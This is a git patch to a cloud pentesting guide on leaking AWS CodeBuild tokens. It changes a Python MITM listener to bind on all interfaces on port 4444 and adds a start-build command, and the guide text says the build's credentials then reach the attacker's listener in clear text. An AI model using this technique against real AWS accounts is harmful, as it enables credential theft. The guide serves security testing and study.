From 4c240ff946b502a505330fd5ff6c603018effd30 Mon Sep 17 00:00:00 2001 From: letian-cheng <63186767+RealFakeAccount@users.noreply.github.com> Date: Thu, 26 Dec 2024 14:09:13 -0700 Subject: [PATCH] Update aws-codebuild-token-leakage.md --- .../aws-codebuild-token-leakage.md | 10 ++++++++-- 1 file changed, 8 insertions(+), 2 deletions(-) diff --git a/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md b/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md index 804ee23047..51a05bbb18 100644 --- a/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md +++ b/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md @@ -149,7 +149,7 @@ aws codebuild update-project --name \ from mitm import MITM, protocol, middleware, crypto mitm = MITM( - host="127.0.0.1", + host="0.0.0.0", port=4444, protocols=[protocol.HTTP], middlewares=[middleware.Log], # middleware.HTTPLog used for the example below. @@ -158,7 +158,13 @@ mitm = MITM( mitm.run() ``` -* Finally, click on **Build the project**, the **credentials** will be **sent in clear text** (base64) to the mitm port: +* Next, click on **Build the project** or start the build from command line: + +```sh +aws codebuild start-build --project-name +``` + +* Finally, the **credentials** will be **sent in clear text** (base64) to the mitm port: